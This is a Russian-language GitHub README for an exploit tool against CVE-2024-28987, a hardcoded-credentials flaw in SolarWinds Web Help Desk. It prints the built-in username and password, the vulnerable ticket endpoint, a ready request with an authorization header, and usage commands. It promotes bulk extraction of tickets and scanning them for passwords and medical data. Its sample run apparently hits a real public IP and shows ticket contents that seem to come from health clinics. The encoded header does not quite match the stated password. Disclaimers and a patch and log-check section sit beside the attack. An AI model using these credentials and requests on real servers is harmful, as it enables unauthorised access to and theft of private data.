
CVE-2024-28987 — Updated!
**CVE-2024-28987** — критическая уязвимость в SolarWinds Web Help Desk (WHD), которая позволяет удалённым злоумышленникам получать доступ к конфиденциальным данным тикетов с использованием **жёстко заданных учётных данных**. Данная уязвимость имеет **оценку CVSS 9.1 (Critical)** и активно эксплуатируется в реальных атаках.
CVE-2024-28987 - Эксплойт жёстко заданных учётных данных SolarWinds Web Help Desk
⚠️ ПРЕДУПРЕЖДЕНИЕ: Этот инструмент предназначен только для образовательных целей и авторизованного тестирования безопасности. Несанкционированный доступ к компьютерным системам незаконен. Используйте этот инструмент только на системах, которыми вы владеете или на тестирование которых у вас есть явное разрешение.
📋 Обзор
CVE-2024-28987 — это критическая уязвимость в SolarWinds Web Help Desk (WHD), которая позволяет удалённым злоумышленникам получать доступ к конфиденциальной информации о заявках с помощью жёстко заданных учётных данных. Эта уязвимость имеет оценку CVSS 9.1 (критическая) и активно эксплуатируется в дикой природе.
Детали уязвимости
| Атрибут | Значение |
|---|---|
| CVE ID | CVE-2024-28987 |
| Оценка CVSS | 9.1 (критическая) |
| CWE | CWE-798 (жёстко заданные учётные данные) |
| Затронутые продукты | SolarWinds Web Help Desk ≤ 12.8.3 Hotfix 1 |
| Исправленная версия | 12.8.3 Hotfix 2 |
| Эксплуатация | Активно эксплуатируется в дикой природе |
| Добавлено в CISA KEV | 15 октября 2024 года |
Влияние
Неаутентифицированный злоумышленник может:
- Получить доступ ко всем заявкам службы поддержки, содержащим конфиденциальную информацию
- Просматривать временные пароли, запросы на сброс и учётные данные общих служб
- Выполнять операции CRUD над заявками через конечную точку
/OrionTickets - Потенциально перемещаться между другими системами в сети
🔧 Возможности
- ✅ Автоматическое обнаружение уязвимости — проверка на жёстко заданные учётные данные
- ✅ Извлечение заявок — извлекает все заявки с уязвимых систем
- ✅ Сканирование конфиденциальных данных — определяет пароли, учётные данные, PII и медицинские данные
- ✅ Несколько форматов вывода — JSON и JSONL для больших наборов данных
- ✅ Интерактивный предпросмотр — показывает первые 3 заявки перед извлечением
- ✅ Ноль зависимостей — используется только стандартная библиотека Python
- ✅ Цветной вывод — повышенная читаемость с помощью ANSI-цветов
- ✅ Обработка ошибок — корректная обработка ошибок соединения
🚀 Быстрый старт
Предварительные требования
- Python 3.6 или выше
- Внешние зависимости не требуются!
Установка
# Clone the repository
git clone https://github.com/Darabium/CVE-2024-28987.git
cd CVE-2024-28987
# Make the script executable
Usage
bash
# With target URL as argument
python3 cve-2024-28987.py http://target-ip:port
# Interactive mode (will prompt for target)
python3 cve-2024-28987.py
# Example with a vulnerable target
python3 cve-2024-28987.py http://192.168.1.100:8098
📊 Output Example
bash
$ python3 cve-2024-28987.py http://138.94.193.65:8098
╔══════════════════════════════════════════════════════════════════╗
║ ║
║ ██████╗██╗ ██╗███████╗ ██████╗ ██████╗ ██╗ ██╗███████╗ ║
║ ██╔════╝██║ ██║██╔════╝ ╚════██╗██╔═████╗██║ ██║██╔════╝ ║
║ ██║ ██║ ██║█████╗ █████╔╝██║██╔██║███████║█████╗ ║
║ ██║ ╚██╗ ██╔╝██╔══╝ ██╔═══╝ ████╔╝██║██╔══██║██╔══╝ ║
║ ╚██████╗ ╚████╔╝ ███████╗ ███████╗╚██████╔╝██║ ██║███████╗ ║
║ ╚═════╝ ╚═══╝ ╚══════╝ ╚══════╝ ╚═════╝ ╚═╝ ╚═╝╚══════╝ ║
║ ║
║ CVE-2024-28987 - SolarWinds Web Help Desk ║
║ Hardcoded Credentials Vulnerability ║
║ ║
╠══════════════════════════════════════════════════════════════════╣
║ GitHub: https://github.com/Darabium ║
╚══════════════════════════════════════════════════════════════════╝
[*] Checking http://****:**/helpdesk/WebObjects/Helpdesk.woa/ra/OrionTickets/
[+] Target is VULNERABLE!
[+] Found 42 tickets
======================================================================
[📋] Ticket Preview (First 3 tickets)
======================================================================
Ticket #1
├── ID: 5690
├── Client: UBS Portao Vermelho
├── Status: Open
├── Detail: BOA TARDE ENCAMINHO SOLICITAÇÃO DE MATERIAIS DA ODONTO
Ticket #2
├── ID: 5691
├── Client: UBS Centro
├── Status: In Progress
├── Detail: ALCOOL 70% - Solicitação de material de limpeza
======================================================================
[🔐] Scanning for Sensitive Data
======================================================================
[!] Potential PASSWORD data found in ticket #5723
└── detail: Please reset my password for system access...
[?] Do you want to extract ALL tickets to file? [y/N]: y
[*] Saving to: 138_94_193_65_8098_tickets.json
[✓] Successfully saved 138_94_193_65_8098_tickets.json
[*] File size: 42,847 bytes
[*] Total tickets: 42
[*] Done!
GitHub: https://github.com/Darabium
📁 Структура файлов
CVE-2024-28987/
├── cve-2024-28987.py # Основной скрипт эксплойта
├── README.md # Этот файл
└── LICENSE # Лицензия MIT
Выходные файлы
При извлечении заявок создаются следующие файлы:
Стандартный формат JSON (создаётся всегда)
138_94_193_65_8098_tickets.json
Формат JSONL (создаётся при более чем 100 заявках)
***_tickets.jsonl
🔍 Технические детали
Жёстко заданные учётные данные
USERNAME = "helpdeskIntegrationUser"
PASSWORD = "dev-C4F8025E7"
Затронутая конечная точка
/helpdesk/WebObjects/Helpdesk.woa/ra/OrionTickets/
Пример HTTP-запроса
GET /helpdesk/WebObjects/Helpdesk.woa/ra/OrionTickets/ HTTP/1.1
Host: vulnerable-target:8098
Authorization: Basic aGVscGRlc2tJbnRlZ3JhdGlvblVzZXI6ZGV2LUM0ZjgwMjVFNw==
Content-Type: application/x-www-form-urlencoded
🛡️ Устранение
Немедленные действия
- Немедленно обновите SolarWinds Web Help Desk до версии 12.8.3 Hotfix 2 или новее
- Проверьте журналы на предмет подозрительного доступа к конечной точке /OrionTickets
- Отслеживайте несанкционированный доступ к данным заявок
- Сбросьте все учётные данные, которые могли быть раскрыты в заявках
- Просмотрите все заявки службы поддержки на предмет возможной утечки данных
Команды обнаружения
# Check for exploitation attempts in logs
grep -i "OrionTickets" /var/log/webhelpdesk/access.log
# Check for unauthorized access patterns
grep -i "helpdeskIntegrationUser" /var/log/webhelpdesk/access.log
# Check current version
cat /opt/WebHelpDesk/version.txt
🚨 Уведомление CISA KEV
Эта уязвимость добавлена в каталог известных эксплуатируемых уязвимостей (KEV) CISA. Организации обязаны установить исправление до указанного срока.
Дата добавления: 15 октября 2024 года
Требуемое действие: Применить обновления согласно инструкциям поставщика
Срок: 5 ноября 2024 года (21 день)
📚 Ссылки
- NVD CVE-2024-28987
- Каталог CISA KEV
- Уведомление о безопасности SolarWinds
- PEP 668 - Внешнее управление окружением
🤝 Вклад в проект
Вклад приветствуется! Не стесняйтесь отправлять pull request'ы или открывать issues.
Руководство
- Сделайте форк репозитория
- Создайте ветку для вашей функции (git checkout -b feature/AmazingFeature)
- Зафиксируйте изменения (git commit -m 'Add some AmazingFeature')
- Отправьте изменения в ветку (git push origin feature/AmazingFeature)
- Откройте Pull Request
📝 Лицензия
Этот проект распространяется под лицензией MIT — подробности см. в файле LICENSE.
⚡ Автор
Darabium - начальная работа - GitHub
⚠️ Важные замечания
- Этот инструмент предназначен только для исследований в области безопасности и образовательных целей
- Не используйте его на системах, которыми вы не владеете или на тестирование которых у вас нет явного разрешения
- Автор не несёт ответственности за любое неправомерное использование этого инструмента
- Всегда соблюдайте практики ответственного раскрытия информации
- Соблюдайте законы о конфиденциальности и защите данных вашей юрисдикции
🌟 История звёзд
Если вы считаете этот инструмент полезным, поставьте ему ⭐ на GitHub!
📞 Поддержка
- Откройте issue на GitHub для сообщений об ошибках
- По вопросам безопасности свяжитесь напрямую через GitHub
Сделано с ❤️ для Darabium